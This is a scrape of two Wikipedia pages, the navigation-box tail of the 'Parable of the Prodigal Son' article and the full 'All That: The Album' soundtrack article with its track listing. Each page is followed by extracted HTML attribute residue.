Media related to Prodigal son at Wikimedia Commons
[show]
v
t
e
Jesus
Historicity
Chronology of Jesus
Genealogy of Jesus
Historical Jesus
Quest for the historical Jesus
portraits
sources
Josephus on Jesus
Tacitus mention
Mara bar Serapion letter
Historicity
Gospels
race and appearance
Life events
Birth
Nativity
Mary
Joseph
Flight into Egypt
Childhood
Unknown years
Baptism
Temptation
Apostles
selecting
Great Commission
Ministry
Sermon on the Mount
Plain
Prayers
Lord's Prayer
Parables
Miracles
Transfiguration
Homelessness
Last Supper
Passion
arrest
trial
Crucifixion
sayings on the cross
Tomb
Resurrection
Ascension
New Testament
Gospels
Matthew
Mark
Luke
John
Gospel harmony
Oral gospel traditions
Life of Jesus in the New Testament
Historical background of the New Testament
New Testament places associated with Jesus
Names and titles of Jesus in the New Testament
Culture
Language of Jesus
Bibliography
Films
Christianity
Christ
Christianity
Christology
Depictions of Jesus
art
Jesus in Christianity
pre-existence
incarnation
Relics associated with Jesus
Scholastic Lutheran Christology
Second Coming
Session of Christ
Other views
Brothers of Jesus
Holy Family
Jesuism
Jesus in comparative mythology
Christ myth theory
Jesus in Islam
Ahmadiyya
Jesus in Scientology
Judaism's view of Jesus
in the Talmud
Master Jesus
Religious perspectives on Jesus
Criticism
[show]
v
t
e
Parables of Jesus
Canonical Gospels
Barren Fig Tree
Budding Fig Tree
Counting the cost
Drawing in the Net
Faithful Servant
Friend at Night
Good Samaritan
Good Shepherd
Great Banquet
Growing Seed
Hidden Treasure
Lamp
Leaven
Lost Coin
Lost Sheep
Master and Servant
Mustard Seed
New Wine into Old Wineskins
Pearl
Pharisee and the Publican
Prodigal Son
Rich Fool
Rich man and Lazarus
Scribe
Sheep and Goats
Sower
Strong Man
Talents or minas
Tares
Ten Virgins
True Vine
Tree and its Fruits
Two Debtors
Two Sons
Unjust Judge
Unjust Steward
Unforgiving Servant
Wedding Feast
Wicked Husbandmen
Wise and Foolish Builders
Workers in the Vineyard
Non-canonical / disputed
Assassin
Empty Jar
[show]
v
t
e
Parable of the Prodigal Son media
Source
Luke 15
Parables of Jesus
Art
The Wayfarer (1500s)
The Prodigal Son in the Brothel (1637)
The Return of the Prodigal Son (1660s)
The Prodigal Son (1922)
Film
L'Enfant prodigue (1907)
The Prodigal (1955)
The Gospel (2005)
The Prodigal Trilogy (2008)
The Imposter (2008)
Preacher's Kid (2010)
Stage
The London Prodigal (1605 play)
The Prodigal Son (1929 ballet)
Opera
L'enfant prodigue (1850)
The Prodigal Son (1968)
Music
The Prodigal Son (1869)
L'enfant prodigue (1884)
Songs
Symphony No. 4
"Walkin' to Missouri" (1952)
"Prodigal Son" (1994)
Album
Ants'hillvania (1981)
The Prodigal Son (1983)
Literature
Tears of the Prodigal Son (1622)
Le retour de l'enfant prodigue (1907)
"Home-Coming"
Papal
Dives in misericordia (1980)
Reconciliatio et paenitentia (1984)
Other
Fatted calf
The Wonderful Wizard of Ha's (2007)
"Michael"
"The Burglar's Christmas"
Retrieved from "https://en.wikipedia.org/w/index.php?title=Parable_of_the_Prodigal_Son&oldid=838189706"
Categories:
Parables of Jesus
Eastern Orthodox liturgical days
Gospel of Luke
Navigation menu
Personal tools
Not logged in
Talk
Contributions
Create account
Log in
Namespaces
Article
Talk
Variants
Views
Read
Edit
View history
More
Search
Navigation
Main page
Contents
Featured content
Current events
Random article
Donate to Wikipedia
Wikipedia store
Interaction
Help
About Wikipedia
Community portal
Recent changes
Contact page
Tools
What links here
Related changes
Upload file
Special pages
Permanent link
Page information
Wikidata item
Cite this page
Print/export
Create a book
Download as PDF
Printable version
In other projects
Wikimedia Commons
Languages
Беларуская
Català
Dansk
Deutsch
Español
Esperanto
Français
Frysk
गोंयची कोंकणी / Gõychi Konknni
Hrvatski
Bahasa Indonesia
Italiano
עברית
Lumbaart
മലയാളം
مصرى
မြန်မာဘာသာ
Nederlands
Nedersaksies
日本語
ਪੰਜਾਬੀ
Polski
Português
Runa Simi
Русский
Simple English
Српски / srpski
Srpskohrvatski / српскохрватски
Suomi
Svenska
தமிழ்
Українська
Tiếng Việt
粵語
Zeêuws
中文
27 more
Edit links
This page was last edited on 25 April 2018, at 13:39.
Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia® is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization.
Privacy policy
About Wikipedia
Disclaimers
Contact Wikipedia
Developers
Cookie statement
Mobile view
Enable previews

values: mw-page-base noprint

values: mw-head-base noprint

values: firstHeading firstHeading en

values: siteSub noprint

values: jump-to-nav mw-jump

values:
/wiki/The_Prodigal_Son_(disambiguation)
mw-redirect mw-disambig
The Prodigal Son (disambiguation)

attrs: role class

values:
note
hatnote navigation-not-searchable

values: The Return of the Prodigal Son (Rembrandt)

value: img

attrs: href class

attrs: class style

values:
/wiki/Sunday_of_the_Prodigal_Son
mw-redirect
Sunday of the Prodigal Son

values: Edit section: Context and interpretation

values:
/wiki/Hans_Sebald_Beham
mw-redirect
Hans Sebald Beham

values:
/wiki/Stained_glass_window
mw-redirect
Stained glass window

values: Cathedral of Saint John the Baptist (Charleston, South Carolina)

values:
/wiki/Sacrament_of_Reconciliation
mw-redirect
Sacrament of Reconciliation

values:
/wiki/St_Petersburg
mw-redirect
St Petersburg

values:
/wiki/Wise_and_Foolish_Virgins
mw-redirect
Wise and Foolish Virgins

values:
/wiki/Dives_and_Lazarus
mw-redirect
Dives and Lazarus

values:
/wiki/Good_Samaritan
mw-redirect
Good Samaritan

values:
/wiki/Labourers_in_the_Vineyard
mw-redirect
Labourers in the Vineyard

values:
/wiki/Early_Medieval
mw-redirect
Early Medieval

values:
/wiki/The_Prodigal_Son_in_the_Tavern
mw-redirect
The Prodigal Son in the Tavern

values:
/wiki/Rolling_Stones
mw-redirect
Rolling Stones

values:
/wiki/Beggar%27s_Banquet
mw-redirect
Beggar's Banquet

values:
/wiki/The_Merchant_Of_Venice
mw-redirect
The Merchant Of Venice

values: Edit section: Similar parable in Mahayana Buddhism

values:
/wiki/Buddha_nature
mw-redirect
Buddha nature

values:
nofollow
external text
http://www.stots.edu/article.php?id=51

values:
/wiki/Emile_M%C3%A2le
mw-redirect
Emile Mâle

values:
nofollow
external text
//doi.org/10.2307%2F2866678

values:
nofollow
external text
//www.worldcat.org/issn/0037-3222

values: -moz-column-width: 35em; -webkit-column-width: 35em; column-width: 35em; list-style-type: decimal;

values: Historical background of the New Testament

values: New Testament places associated with Jesus

values: nowraplinks collapsible autocollapse navbox-inner

values:
/wiki/Parable_of_the_strong_man
mw-redirect
Parable of the strong man

values: Parable of the Wise and the Foolish Builders

values: nowraplinks hlist collapsible autocollapse navbox-inner

values:
/wiki/L%27Enfant_prodigue_(film)
mw-redirect
L'Enfant prodigue (film)

values:
/wiki/Prodigal_Son_(Kid_Rock_song)
mw-redirect
Prodigal Son (Kid Rock song)

values:
/wiki/The_Wonderful_Wizard_of_Ha%27s
mw-redirect
The Wonderful Wizard of Ha's

values: Category:Eastern Orthodox liturgical days

values:
catlinks mw-normal-catlinks
catlinks mw-normal-catlinks
interface

values: Discussion about edits from this IP address [ctrl-alt-n]

values: A list of edits made from this IP address [ctrl-alt-y]

values: You are encouraged to create an account and log in; however, it is not mandatory

values: You're encouraged to log in; however, it's not mandatory. [ctrl-alt-o]

values:
/wiki/Parable_of_the_Prodigal_Son
View the content page [ctrl-alt-c]
c

values: Discussion about the content page [ctrl-alt-t]

values: p-namespaces navigation vectorTabs p-namespaces-label

values:
p-variants
navigation
vectorMenu emptyPortlet
p-variants-label

values: Past revisions of this page [ctrl-alt-h]

values: p-views navigation vectorTabs p-views-label

values:
p-cactions
navigation
vectorMenu emptyPortlet
p-cactions-label

values:
mw-wiki-logo
/wiki/Main_Page
Visit the main page

values:
/wiki/Main_Page
Visit the main page [ctrl-alt-z]
z

values: Featured content – the best of Wikipedia

values: Find background information on current events

values:
/wiki/Special:Random
Load a random article [ctrl-alt-x]
x

values: portal navigation p-navigation p-navigation-label

values: Guidance on how to use and edit Wikipedia

values: About the project, what you can do, where to find things

values: A list of recent changes in the wiki [ctrl-alt-r]

values: portal navigation p-interaction p-interaction-label

values: List of all English Wikipedia pages containing links to this page [ctrl-alt-j]

values: portal navigation p-wikibase-otherprojects p-wikibase-otherprojects-label

values: Прытча аб блудным сыне – Belarusian

values:
interlanguage-link interwiki-be
display: none;

values:
interlanguage-link interwiki-ca
display: none;

values:
interlanguage-link interwiki-da
display: none;

values: Parabolo de la erarinta filo – Esperanto

values:
interlanguage-link interwiki-eo
display: none;

values: Likenis fan de Ferlerne Soan – Western Frisian

values:
interlanguage-link interwiki-fy
display: none;

values:
interlanguage-link interwiki-gom
display: none;

values:
interlanguage-link interwiki-hr
display: none;

values: Perumpamaan anak yang hilang – Indonesian

values: הבן האובד – Hebrew

values:
interlanguage-link interwiki-lmo
display: none;

values: ധൂർത്തപുത്രന്റെ ഉപമ – Malayalam

values:
interlanguage-link interwiki-ml
display: none;

values:
interlanguage-link interwiki-arz
display: none;

values:
interlanguage-link interwiki-my
display: none;

values:
interlanguage-link interwiki-nl
display: none;

values:
interlanguage-link interwiki-nds-nl
display: none;

values: 放蕩息子のたとえ話 – Japanese

values: ਉੜਾਊ ਪੁੱਤਰ ਦੀ ਵਾਪਸੀ – Punjabi

values:
interlanguage-link interwiki-pa
display: none;

values: Przypowieść o synu marnotrawnym – Polish

values:
interlanguage-link interwiki-qu
display: none;

values: Притча о блудном сыне – Russian

values: Parable of the Prodigal Son – Simple English

values:
interlanguage-link interwiki-simple
display: none;

values: Прича о блудном сину – Serbian

values:
interlanguage-link interwiki-sr
display: none;

values:
interlanguage-link interwiki-sh
display: none;

values:
interlanguage-link interwiki-fi
display: none;

values: Liknelsen om den förlorade sonen – Swedish

values:
interlanguage-link interwiki-sv
display: none;

values: ஊதாரி மைந்தன் உவமை – Tamil

values: Притча про блудного сина – Ukrainian

values:
interlanguage-link interwiki-uk
display: none;

values:
interlanguage-link interwiki-vi
display: none;

values:
interlanguage-link interwiki-zh-yue
display: none;

values:
interlanguage-link interwiki-zea
display: none;

values: 浪子回头的比喻 – Chinese

values: All languages (initial selection from common choices by you and others)

values: /static/images/wikimedia-button-1.5x.png 1.5x, /static/images/wikimedia-button-2x.png 2x

values: /static/images/poweredby_mediawiki_132x47.png 1.5x, /static/images/poweredby_mediawiki_176x62.png 2x

values:
suggestions
display: none; font-size: 13px;

values: mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-Parable_of_the_Prodigal_Son rootpage-Parable_of_the_Prodigal_Son skin-vector action-view


text:
All That: The Album
From Wikipedia, the free encyclopedia
Jump to: navigation, search
All That: The Album
Soundtrack album by Various Artists
Released
November 26, 1996[1]
Recorded
1994-1996
Genre
Hip hop, R&B
Length
41:00
Label
Loud, RCA, Nick
Producer
Tracy Sullivan
Professional ratings
Review scores
Source
Rating
Allmusic [2]
All That: The Album is the soundtrack of musical performances and sketch clips from the hit Nickelodeon television series All That.
Contents
[hide]
1 Track listing
2 Dialogues
3 References
4 See also
5 External links
Track listing[edit]
1. 5 Minutes (All That Dialogue) 0:14
2. TLC - All That Theme Song 1:04
3. Good Burger/Good Weenie (All That Dialogue) 0:26
4. Immature featuring Smooth and Kel Mitchell as Ed from Good Burger - Watch Me Do My Thing 3:50
5. Superdude (All That Dialogue) 0:24
6. Brandy - Baby 5:12
7. Ed & Coolio (All That Dialogue) 0:32
8. Coolio - Fantastic Voyage 4:01
9. Vital Information I (All That Dialogue) 0:09
10. Mokenstef - He's Mine 4:13
11. Miss Fingerly V. Bacteria (All That Dialogue) 0:18
12. Soul For Real - Candy Rain 4:28
13. Coach Kreeton (All That Dialogue) 0:08
14. Aaliyah - Age Ain't Nothing but a Number 4:11
15. Loud Librarian (All That Dialogue) 0:33
16. Naughty By Nature - Clap Yo' Hands 3:58
17. Earboy & Pizza Face (All That Dialogue) 0:32
18. Faith Evans - You Used to Love Me 4:28
19. Vital Information II (All That Dialogue) 0:06
20. Immature - We Got It 2:51
21. TLC - All That - Outro Theme Song 1:13
Dialogues[edit]
The album was created and recorded in 1994-1996. The songs were from musical guest in Seasons 1 (1994-1995) through Season 2 (1995-1996). The dialogues were directly from All That sketches like Good Burger, Vital Information, and Superdude. This CD was not released till a week after the premiere of Season 3, so Amanda Bynes is not in the CD, nor is Angelique Bates, due to her small number of characters in the show, but she was heard briefly in the "Miss Fingerly v. Bacteria" dialogue.
After the release of iCarly CD, it contained dialogues like The Album, but they were recorded to recap certain episodes from the first season. The Drake & Josh soundtrack and Zoey 101: Music Mix did not contain any dialogues from their releases.
References[edit]
Jump up ^ "All That: The Album". Retrieved 2008-07-13.
Jump up ^ Allmusic review
See also[edit]
All That
External links[edit]
[hide]
v
t
e
All That
Cast members
Characters
Musical guests
Sketches
Episodes
Season 1 (1994–95)
Season 2 (1995–96)
Season 3 (1996–97)
Season 4 (1997–98)
Season 5 (1998–99)
Season 6 (2000–01)
Season 7 (2002)
Season 8 (2002–03)
Season 9 (2003–04)
Season 10 (2005)
Franchise
All That: The Album (1996)
All That: Fresh out the Box (1998)
All That Live! (100th episode) (1999)
All That! Music and More Festival (2000)
R U All That? (2003)
Spin-off series and film
Action League Now!
The Amanda Show
Kenan & Kel
The Nick Cannon Show
Good Burger
Related series
KaBlam!
Figure It Out
Oh Yeah! Cartoons
See also
The '90s Are All That
Retrieved from "https://en.wikipedia.org/w/index.php?title=All_That:_The_Album&oldid=836706554"
Categories:
All That
Hip hop soundtracks
Television soundtracks
1996 soundtracks
Columbia Records soundtracks
Rhythm and blues soundtracks
Hidden categories:
Articles with hAudio microformats
Navigation menu
Personal tools
Not logged in
Talk
Contributions
Create account
Log in
Namespaces
Article
Talk
Variants
Views
Read
Edit
View history
More
Search
Navigation
Main page
Contents
Featured content
Current events
Random article
Donate to Wikipedia
Wikipedia store
Interaction
Help
About Wikipedia
Community portal
Recent changes
Contact page
Tools
What links here
Related changes
Upload file
Special pages
Permanent link
Page information
Wikidata item
Cite this page
Print/export
Create a book
Download as PDF
Printable version
Languages
Nederlands
Edit links
This page was last edited on 16 April 2018, at 11:33.
Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia® is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization.
Privacy policy
About Wikipedia
Disclaimers
Contact Wikipedia
Developers
Cookie statement
Mobile view
Enable previews

values: mw-page-base noprint

values: mw-head-base noprint

values: firstHeading firstHeading en

values: siteSub noprint

values: jump-to-nav mw-jump

value: th

attrs: colspan class style

values: text-align:center;font-size:125%;font-weight:bold;font-style: italic; background-color: gainsboro

value: tr

attrs: alt src width height srcset data-file-width data-file-height

value: td

attrs: colspan style

value: span

attrs: alt src title width height srcset data-file-width data-file-height

values: float:right;clear:right;width:24.2em;font-size:80%;text-align:center;margin:0.5em 0 0.5em 1em;padding:0;border-spacing:0

values:
/wiki/Watch_Me_Do_My_Thing
mw-redirect
Watch Me Do My Thing

values:
/wiki/Baby_(Brandy_Norwood_song)
mw-redirect
Baby (Brandy Norwood song)

values:
/wiki/Soul_For_Real
mw-redirect
Soul For Real

values:
/wiki/Naughty_By_Nature
mw-redirect
Naughty By Nature

values:
/wiki/Zoey_101:_Music_Mix
mw-redirect
Zoey 101: Music Mix

values:
nofollow
external text
https://www.amazon.com/dp/B000002X1U

values:
nofollow
external text
https://www.allmusic.com/album/r246834

values:
reflist mw-references-wrap
list-style-type: decimal;

values:
/wiki/All_That_Live!_(100th_episode)
mw-redirect
All That Live! (100th episode)

values: R U All That?: Nickelodeon's Search for the Funniest Kid in America

values: nowraplinks hlist collapsible autocollapse navbox-inner

values: Category:Articles with hAudio microformats

values: Discussion about edits from this IP address [ctrl-alt-n]

values: A list of edits made from this IP address [ctrl-alt-y]

values: You are encouraged to create an account and log in; however, it is not mandatory

values: You're encouraged to log in; however, it's not mandatory. [ctrl-alt-o]

values:
/wiki/All_That:_The_Album
View the content page [ctrl-alt-c]
c

values: Discussion about the content page [ctrl-alt-t]

values: p-namespaces navigation vectorTabs p-namespaces-label

values:
p-variants
navigation
vectorMenu emptyPortlet
p-variants-label

values: Past revisions of this page [ctrl-alt-h]

values: p-views navigation vectorTabs p-views-label

values:
p-cactions
navigation
vectorMenu emptyPortlet
p-cactions-label

values:
mw-wiki-logo
/wiki/Main_Page
Visit the main page

values:
/wiki/Main_Page
Visit the main page [ctrl-alt-z]
z

values: Featured content – the best of Wikipedia

values: Find background information on current events

values:
/wiki/Special:Random
Load a random article [ctrl-alt-x]
x

values: portal navigation p-navigation p-navigation-label

values: Guidance on how to use and edit Wikipedia

values: About the project, what you can do, where to find things

values: A list of recent changes in the wiki [ctrl-alt-r]

values: portal navigation p-interaction p-interaction-label

values: List of all English Wikipedia pages containing links to this page [ctrl-alt-j]

values: Recent changes in pages linked from this page [ctrl-alt-k]

values:
/wiki/Wikipedia:File_Upload_Wizard
Upload files [ctrl-alt-u]
u

values: A list of all special pages [ctrl-alt-q]

values: Permanent link to this revision of the page

values: Link to connected data repository item [ctrl-alt-g]

values: Printable version of this page [ctrl-alt-p]

values: mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-All_That_The_Album rootpage-All_That_The_Album skin-vector action-view